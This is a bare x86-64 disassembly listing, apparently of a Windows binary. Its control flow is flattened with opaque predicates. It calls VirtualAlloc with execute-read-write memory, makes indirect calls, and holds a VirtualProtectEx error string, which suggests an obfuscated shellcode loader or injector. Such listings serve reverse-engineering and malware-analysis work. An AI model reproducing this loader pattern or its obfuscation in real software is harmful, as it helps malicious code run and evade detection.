mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1db91e28
mov ecx, 0xf971a612
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x1db91e28
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, 0xe1797eeb
jmp 0x14000ca3d
mov eax, dword [rbp - 0x1c]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc4e7ed9
mov ecx, 0x27ba27c4
jmp 0x14000ca30
mov eax, 0xd0d60a15
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x57d9a4df
mov ecx, 0xdd8ffa34
jmp 0x14000ca30
mov eax, 0xc02bab8
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xf80b40f6
mov ecx, 0x5b957cd5
jmp 0x14000f890
mov eax, dword [rbp - 0x1c]
mov eax, 0x5989272f
jmp 0x14000ca3d
mov eax, 0x684af819
jmp 0x14000ca3d
sub rsp, 0x20
call r15
add rsp, 0x20
mov eax, 0xc780c654
jmp 0x14000ca3d
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x40], rax
mov eax, 0xf8a41cc5
jmp 0x14000ca3d
mov eax, 0x5b957cd5
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef725192
mov ecx, 0xb338368f
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x93b3a5c7
mov ecx, 0xb72baa2a
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb2e14e1b
mov ecx, 0xe08a348a
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd5ceb231
mov ecx, 0x772017f9
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x15f201b6
mov ecx, 0x1fafc603
jmp 0x14000ca30
mov rax, qword [rbp - 0x18]
mov qword [rax], 0
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, r12
call section..text
add rsp, 0x20
mov eax, 0xa2133024
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x781ba97c
mov ecx, 0x32722cd2
jmp 0x14000ca30
mov eax, 0x535a0c6e
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9285f1e3
mov ecx, 0xc102fd0d
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d258c6f
mov ecx, 0x6b0512cd
jmp 0x14000ca30
mov eax, 0xe1cd4f4a
jmp 0x14000ca3d
mov eax, dword [0x140013090]
mov edi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, ecx
and al, dl
xor cl, r8b
or bl, r8b
and bl, cl
xor bl, al
xor cl, bl
mov eax, 0x3116c3f
mov esi, 0xfe43b1cc
cmovne eax, esi
test bl, bl
cmovne eax, esi
test edx, edx
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x14000ca3d
mov eax, 0xc68f3606
jmp 0x14000ca3d
movzx ecx, byte [rbp - 9]
cmp byte [rbp - 0xa], 0
mov eax, 0x8f7565db
mov edx, 0xb10e789b
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14000ca3d
mov eax, 0x6717eed9
jmp 0x14000ca3d
mov eax, 0x4cd7ab3b
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9cd7cf2
mov ecx, 0x1b6bdfdc
jmp 0x14000ca30
mov eax, 0x52341e6c
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x69daa835
mov ecx, 0x4cd7ab3b
jmp 0x14000ca30
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rsp, 0x20
mov eax, 0x7ff4ab3f
jmp 0x14000ca3d
mov eax, 0xb5236f48
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x15f201b6
mov ecx, 0x8a1157fc
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9268ed7
mov ecx, 0x251c5174
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140013094], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xafd1184a
mov ecx, 0x9844ff3c
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fa1b6c6
mov ecx, 0x201ca7e5
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x4fa1b6c6
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7f4958cc
mov ecx, 0xc780c654
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf971a612
mov ecx, 0xa2133024
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdf61f484
mov ecx, 0x6a414662
jmp 0x14000ca30
mov eax, 0xea29c831
jmp 0x14000ca3d
mov eax, 0x68b36d70
mov r13d, 0xffffffff
jmp 0x14000ca3d
mov eax, dword [0x140013090]
mov edi, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
or al, cl
xor cl, r8b
and al, cl
and bl, r8b
xor bl, al
mov ebx, 0x2374d96b
mov esi, 0x1ad57000
cmovne ebx, esi
test cl, cl
cmovne ebx, esi
test edx, edx
mov eax, ebx
cmove eax, esi
cmp edi, 0xa
cmovge eax, ebx
jmp 0x14000ca3d
mov eax, 0xb69cca9f
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeec3ab18
mov ecx, 0xfa4f3cfe
jmp 0x14000ca30
mov eax, 0x43d3032d
jmp 0x14000ca3d
mov rax, qword [rbp - 0x18]
mov qword [rax], 0
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, r12
call section..text
add rsp, 0x20
mov eax, 0x3066e985
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f765807
mov ecx, 0x8884ad7a
jmp 0x14000ca30
mov eax, 0x8ee2e24d
jmp 0x14000ca3d
mov rax, qword [rbp - 0x38]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa6718d6a
mov ecx, 0x834d0ded
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d2fdb22
mov ecx, 0xae4110e5
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x851d8ad4
mov ecx, 0x3066e985
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140013094], 0xa
setl dl
setge bl
and bl, r8b
mov eax, edx
xor al, r8b
or cl, dl
and cl, al
and dl, r8b
xor dl, bl
xor dl, cl
mov eax, 0xdac02447
mov ecx, 0x66deb7b5
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf8bc2d05
mov ecx, 0xf097bb47
jmp 0x14000ca30
mov eax, 0x2b995f60
jmp 0x14000ca3d
mov eax, 0xe31b92b5
jmp 0x14000ca3d
mov eax, 0x34cad61f
jmp 0x14000ca3d
mov eax, 0xabb81dea
jmp 0x14000ca3d
mov eax, dword [0x140013090]
mov ecx, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x977fcc96
mov ebx, 0xd4f88fea
jmp 0x14000ff0e
mov rax, qword [rbp - 0x18]
mov qword [rax], 0
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, r12
call section..text
add rsp, 0x20
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d258c6f
mov ecx, 0x3bbc1974
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
mov eax, 0x6103ea21
mov ebx, 0xccb51bba
cmove eax, ebx
cmp dword [0x140013094], 0xa
cmovl eax, ebx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xff48519d
mov ecx, 0x1fb733cb
jmp 0x14000ca30
mov rax, qword [rbp - 8]
mov qword [rax], 0
mov eax, 0xbca281b7
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5239b2b1
mov ecx, 0x5b11f4fa
jmp 0x14000ca30
cmp dword [rbp - 0x1c], 0
setne byte [rbp - 0xc]
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6103ea21
mov ecx, 0xaab2e7a1
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4c7e5c5c
mov ecx, 0xe31b92b5
jmp 0x14000ca30
mov eax, 0x9844ff3c
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x52341e6c
mov ecx, 0x226f6248
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x52341e6c
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140013094], 0xa
setge dl
setl al
mov r9d, eax
or cl, al
and al, r8b
xor r9b, r8b
and cl, r9b
and dl, r8b
xor dl, cl
mov ecx, r9d
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, cl
mov ebx, eax
xor bl, 1
or bl, dl
xor dl, 1
xor cl, 1
and cl, r9b
or cl, dl
xor cl, al
mov eax, ebx
not al
and al, cl
xor cl, bl
xor cl, al
test cl, 1
mov eax, 0xc954bda5
mov ecx, 0x4c493a3b
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x614caca8
mov ecx, 0xff48519d
cmovne eax, ecx
cmp dword [0x140013094], 0xa
mov ecx, 0x614caca8
cmovl eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa954b107
mov ecx, 0xd8491e36
jmp 0x14000ca30
mov eax, 0x6818577
jmp 0x14000ca3d
mov eax, 0x6a414662
jmp 0x14000ca3d
mov eax, 0xf097bb47
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x54ef24fb
mov ecx, 0x6818577
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x54586085
mov ecx, 0x1ee30459
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x85ea5541
mov ecx, 0xb75609fc
jmp 0x14000ca30
mov eax, 0xa968592f
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4900268
mov ecx, 0xb04fddd0
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x356cb632
mov ecx, 0xee058394
jmp 0x14000ca30
mov eax, 0x601dd546
jmp 0x14000ca3d
mov rax, qword [rbp - 0x38]
mov eax, 0xfe03d124
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf80b40f6
mov ecx, 0xeca7ec39
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x11b24cc3
mov ecx, 0x4c4f3c35
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4ae9e572
mov ecx, 0x494577c
jmp 0x14000ca30
mov edx, dword [0x140013090]
mov r9d, dword [0x140013094]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
sete r8b
cmp r9d, 0xa
setge bl
setl cl
mov edx, edi
or dl, cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or bl, al
xor bl, dl
mov eax, 0x2fe9b1a
mov esi, 0x3debd5b7
cmovne eax, esi
test cl, cl
mov ecx, 0x3debd5b7
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, bl
mov edx, 0x2fe9b1a
cmovne ecx, edx
test edi, edi
mov eax, ecx
cmove eax, edx
cmp r9d, 0xa
cmovge eax, ecx
jmp 0x14000ca3d
mov eax, 0xe9a4308c
jmp 0x14000ca3d
mov eax, dword [0x140013090]
mov ecx, dword [0x140013094]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x44d13484
mov ebx, 0xb8ea6c5a
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x54ef24fb
mov ecx, 0x17d9c283
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9285f1e3
mov ecx, 0xe233445b
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140013094], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor cl, al
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov eax, 0xdf61f484
mov ecx, 0xb6dc9d13
cmovne eax, ecx
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e96ee12
mov ecx, 0xb73ab6e6
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f8be87f
mov ecx, 0xd98a6cb
jmp 0x14000ca30
mov eax, 0xf13e4c4a
jmp 0x14000ca3d
mov edx, dword [rbp - 0x24]
sub rsp, 0x20
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.14000b720
add rsp, 0x20
mov eax, 0xb73ab6e6
jmp 0x14000ca3d
mov eax, 0x1051f4ab
jmp 0x14000ca3d
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b1e5d82
mov ecx, 0x1826c64b
jmp 0x14000ca30
mov eax, dword [0x140013090]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x794a7ed3
mov ecx, 0x36e73bc4
jmp 0x14000ca30
cmp eax, 0x2fd7232d
jne 0x14000ca3d
mov esi, dword [rbp - 0x44]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140010c40
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret